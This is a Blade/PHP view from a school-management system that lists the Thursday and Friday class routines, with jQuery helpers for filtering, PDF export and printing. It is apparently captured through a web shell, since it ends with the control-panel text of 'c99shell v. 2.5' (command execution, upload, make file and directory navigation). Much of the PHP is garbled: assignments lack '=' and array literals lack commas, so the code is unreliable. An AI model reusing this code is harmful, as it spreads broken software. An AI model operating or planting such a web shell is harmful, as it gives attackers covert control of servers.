                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="16.03"
                                          height="16.03"
                                          viewBox="0 0 11.777 11.777"
                                        >
                                          <path
                                            id="schedule_FILL0_wght600_GRAD0_opsz24"
                                            d="M8.679,9.634a.605.605,0,0,0,.464.2.674.674,0,0,0,.492-.211.679.679,0,0,0,0-.956L8.088,7.119V5.306A.641.641,0,0,0,7.9,4.834a.658.658,0,0,0-.485-.189.643.643,0,0,0-.485.2.662.662,0,0,0-.19.478V7.372a.787.787,0,0,0,.056.3.7.7,0,0,0,.155.239ZM7.414,13.3a5.724,5.724,0,0,1-2.3-.464,5.909,5.909,0,0,1-3.12-3.12,5.724,5.724,0,0,1-.464-2.3,5.724,5.724,0,0,1,.464-2.3,5.909,5.909,0,0,1,3.12-3.12,5.724,5.724,0,0,1,2.3-.464,5.724,5.724,0,0,1,2.3.464,5.9,5.9,0,0,1,3.12,3.12,5.724,5.724,0,0,1,.464,2.3,5.724,5.724,0,0,1-.464,2.3,5.9,5.9,0,0,1-3.12,3.12A5.724,5.724,0,0,1,7.414,13.3Zm0-5.889Zm0,4.4a4.253,4.253,0,0,0,3.113-1.279,4.234,4.234,0,0,0,1.286-3.12,4.234,4.234,0,0,0-1.286-3.12A4.253,4.253,0,0,0,7.414,3.015,4.251,4.251,0,0,0,4.3,4.294a4.233,4.233,0,0,0-1.286,3.12A4.233,4.233,0,0,0,4.3,10.534,4.251,4.251,0,0,0,7.414,11.813Z"
                                            transform="translate(-1.525 -1.525)"
                                            fill="#00A3FF"
                                          />
                                        </svg>
                                      </div>
                                      <p class="info">{{ $perday_routine['starting_hour'].':'.$perday_routine['starting_minute'].' - '.$perday_routine['ending_hour'].':'.$perday_routine['ending_minute'] }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="11.33"
                                          height="14.71"
                                          viewBox="0 0 13.275 14.944"
                                        >
                                          <g
                                            id="user_icon"
                                            data-name="user icon"
                                            transform="translate(-1368.531 -147.15)"
                                          >
                                            <g
                                              id="Ellipse_1"
                                              data-name="Ellipse 1"
                                              transform="translate(1370.609 147.15)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            >
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="4.576"
                                                ry="4.435"
                                                stroke="none"
                                              />
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="3.576"
                                                ry="3.435"
                                                fill="none"
                                              />
                                            </g>
                                            <path
                                              id="Path_41"
                                              data-name="Path 41"
                                              d="M1485.186,311.087a5.818,5.818,0,0,1,5.856-4.283,5.534,5.534,0,0,1,5.466,4.283"
                                              transform="translate(-115.686 -149.241)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            />
                                          </g>
                                        </svg>
                                      </div>
                                      <?php $teacher User::find($perday_routine['teacher_id']); ?>
                                      <p class="info">{{ $teacher->name }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="18.641"
                                          height="16.589"
                                          viewBox="0 0 18.641 16.589"
                                        >
                                          <path
                                            id="house_FILL0_wght400_GRAD0_opsz48"
                                            d="M13.263,23.089H8.311a.72.72,0,0,1-.743-.743v-7.18H5.563a.35.35,0,0,1-.347-.235.329.329,0,0,1,.1-.409L14.006,6.7a.718.718,0,0,1,.99,0l4.457,3.937V8.481a.72.72,0,0,1,.743-.743h.5a.72.72,0,0,1,.743.743v3.986l2.253,2.055a.363.363,0,0,1-.248.644H21.434v7.18a.72.72,0,0,1-.743.743H15.739V17.146H13.263ZM9.054,21.6h2.724V16.4a.72.72,0,0,1,.743-.743h3.961a.72.72,0,0,1,.743.743v5.2h2.724V13.16L14.5,8.208,9.054,13.16ZM12.4,12.937h4.209a1.689,1.689,0,0,0-.631-1.349,2.3,2.3,0,0,0-2.946,0A1.689,1.689,0,0,0,12.4,12.937Zm.124,2.724h0Z"
                                            transform="translate(-5.183 -6.5)"
                                            fill="#00a3ff"
                                          />
                                        </svg>
                                      </div>
                                      <?php $class_room ClassRoom::find($perday_routine['room_id']); ?>
                                      <p class="info">{{ $class_room->name }}</p>
                                    </li>
                                  </ul>
                                </div>
                                <?php ?>
                              </div>
                            </li>


                            <li class="classRoutines-item d-flex align-items-center">
                                <h4 class="title">{{ get_phrase('Friday') }}</h4>
                                <div class="classTime-items d-flex">
                                <?php $perday_routines Routine::where(['class_id' => $class_id'section_id' => $section_id'session_id' => $active_session,'school_id' => auth()->user()->school_id'day' => 'friday'])->get();
                                foreach(
$perday_routines as $perday_routine) { ?>
                                <div class="classTime-item">
                                  <?php $subject Subject::find($perday_routine['subject_id']); ?>
                                  <h4 class="subjectName">{{ $subject->name }}</h4>
                                  <ul class="classDetails">
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="16.03"
                                          height="16.03"
                                          viewBox="0 0 11.777 11.777"
                                        >
                                          <path
                                            id="schedule_FILL0_wght600_GRAD0_opsz24"
                                            d="M8.679,9.634a.605.605,0,0,0,.464.2.674.674,0,0,0,.492-.211.679.679,0,0,0,0-.956L8.088,7.119V5.306A.641.641,0,0,0,7.9,4.834a.658.658,0,0,0-.485-.189.643.643,0,0,0-.485.2.662.662,0,0,0-.19.478V7.372a.787.787,0,0,0,.056.3.7.7,0,0,0,.155.239ZM7.414,13.3a5.724,5.724,0,0,1-2.3-.464,5.909,5.909,0,0,1-3.12-3.12,5.724,5.724,0,0,1-.464-2.3,5.724,5.724,0,0,1,.464-2.3,5.909,5.909,0,0,1,3.12-3.12,5.724,5.724,0,0,1,2.3-.464,5.724,5.724,0,0,1,2.3.464,5.9,5.9,0,0,1,3.12,3.12,5.724,5.724,0,0,1,.464,2.3,5.724,5.724,0,0,1-.464,2.3,5.9,5.9,0,0,1-3.12,3.12A5.724,5.724,0,0,1,7.414,13.3Zm0-5.889Zm0,4.4a4.253,4.253,0,0,0,3.113-1.279,4.234,4.234,0,0,0,1.286-3.12,4.234,4.234,0,0,0-1.286-3.12A4.253,4.253,0,0,0,7.414,3.015,4.251,4.251,0,0,0,4.3,4.294a4.233,4.233,0,0,0-1.286,3.12A4.233,4.233,0,0,0,4.3,10.534,4.251,4.251,0,0,0,7.414,11.813Z"
                                            transform="translate(-1.525 -1.525)"
                                            fill="#00A3FF"
                                          />
                                        </svg>
                                      </div>
                                      <p class="info">{{ $perday_routine['starting_hour'].':'.$perday_routine['starting_minute'].' - '.$perday_routine['ending_hour'].':'.$perday_routine['ending_minute'] }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="11.33"
                                          height="14.71"
                                          viewBox="0 0 13.275 14.944"
                                        >
                                          <g
                                            id="user_icon"
                                            data-name="user icon"
                                            transform="translate(-1368.531 -147.15)"
                                          >
                                            <g
                                              id="Ellipse_1"
                                              data-name="Ellipse 1"
                                              transform="translate(1370.609 147.15)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            >
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="4.576"
                                                ry="4.435"
                                                stroke="none"
                                              />
                                              <ellipse
                                                cx="4.576"
                                                cy="4.435"
                                                rx="3.576"
                                                ry="3.435"
                                                fill="none"
                                              />
                                            </g>
                                            <path
                                              id="Path_41"
                                              data-name="Path 41"
                                              d="M1485.186,311.087a5.818,5.818,0,0,1,5.856-4.283,5.534,5.534,0,0,1,5.466,4.283"
                                              transform="translate(-115.686 -149.241)"
                                              fill="none"
                                              stroke="#00A3FF"
                                              stroke-width="2"
                                            />
                                          </g>
                                        </svg>
                                      </div>
                                      <?php $teacher User::find($perday_routine['teacher_id']); ?>
                                      <p class="info">{{ $teacher->name }}</p>
                                    </li>
                                    <li
                                      class="classDetails-info d-flex align-items-center"
                                    >
                                      <div class="icon">
                                        <svg
                                          xmlns="http://www.w3.org/2000/svg"
                                          width="18.641"
                                          height="16.589"
                                          viewBox="0 0 18.641 16.589"
                                        >
                                          <path
                                            id="house_FILL0_wght400_GRAD0_opsz48"
                                            d="M13.263,23.089H8.311a.72.72,0,0,1-.743-.743v-7.18H5.563a.35.35,0,0,1-.347-.235.329.329,0,0,1,.1-.409L14.006,6.7a.718.718,0,0,1,.99,0l4.457,3.937V8.481a.72.72,0,0,1,.743-.743h.5a.72.72,0,0,1,.743.743v3.986l2.253,2.055a.363.363,0,0,1-.248.644H21.434v7.18a.72.72,0,0,1-.743.743H15.739V17.146H13.263ZM9.054,21.6h2.724V16.4a.72.72,0,0,1,.743-.743h3.961a.72.72,0,0,1,.743.743v5.2h2.724V13.16L14.5,8.208,9.054,13.16ZM12.4,12.937h4.209a1.689,1.689,0,0,0-.631-1.349,2.3,2.3,0,0,0-2.946,0A1.689,1.689,0,0,0,12.4,12.937Zm.124,2.724h0Z"
                                            transform="translate(-5.183 -6.5)"
                                            fill="#00a3ff"
                                          />
                                        </svg>
                                      </div>
                                      <?php $class_room ClassRoom::find($perday_routine['room_id']); ?>
                                      <p class="info">{{ $class_room->name }}</p>
                                    </li>
                                  </ul>
                                </div>
                                <?php ?>
                              </div>
                            </li>

                        </ul>
                    </div>

                </div>
            </form>

        </div>
    </div>
</div>
@endsection

<script type="text/javascript">

  "use strict";


    function classWiseSection(classId) {
        let url = "{{ route('class_wise_sections', ['id' => ":classId"]) }}";
        url = url.replace(":classId", classId);
        $.ajax({
            url: url,
            success: function(response){
                $('#section_id').html(response);
            }
        });
    }

    function filter_class_routine(){
        var class_id = $('#class_id').val();
        var section_id = $('#section_id').val();
        if(class_id != "" && section_id!= ""){
            getFilteredClassRoutine();
        }else{
            toastr.error('{{ get_phrase('Please select a class and section') }}');
        }
    }

    var getFilteredClassRoutine = function() {
        var class_id = $('#class_id').val();
        var section_id = $('#section_id').val();
        if(class_id != "" && section_id!= ""){
            let url = "{{ route('teacher.routine.routine_list') }}";
            $.ajax({
                url: url,
                headers: {
                    'X-CSRF-Token': $('meta[name="csrf-token"]').attr('content')
                },
                data: {class_id : class_id, section_id : section_id},
                success: function(response){
                    $('.class_routine_content').html(response);
                }
            });
        }
    }


    function Export() {

        // Choose the element that our invoice is rendered in.
        const element = document.getElementById("class_routine_content");

        // clone the element
        var clonedElement = element.cloneNode(true);

        // change display of cloned element
        $(clonedElement).css("display", "block");

        // Choose the clonedElement and save the PDF for our user.

        var opt = {
          margin:       1,
          filename:     'class_routine.pdf',
          image:        { type: 'jpeg', quality: 0.98 },
          html2canvas:  { scale: 2 }
        };

        // New Promise-based usage:
        html2pdf().set(opt).from(clonedElement).save();

        // remove cloned element
        clonedElement.remove();
    }

    function printableDiv(printableAreaDivId) {
        var printContents = document.getElementById(printableAreaDivId).innerHTML;
        var originalContents = document.body.innerHTML;

        document.body.innerHTML = printContents;

        window.print();

        document.body.innerHTML = originalContents;
    }

</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0091 ]--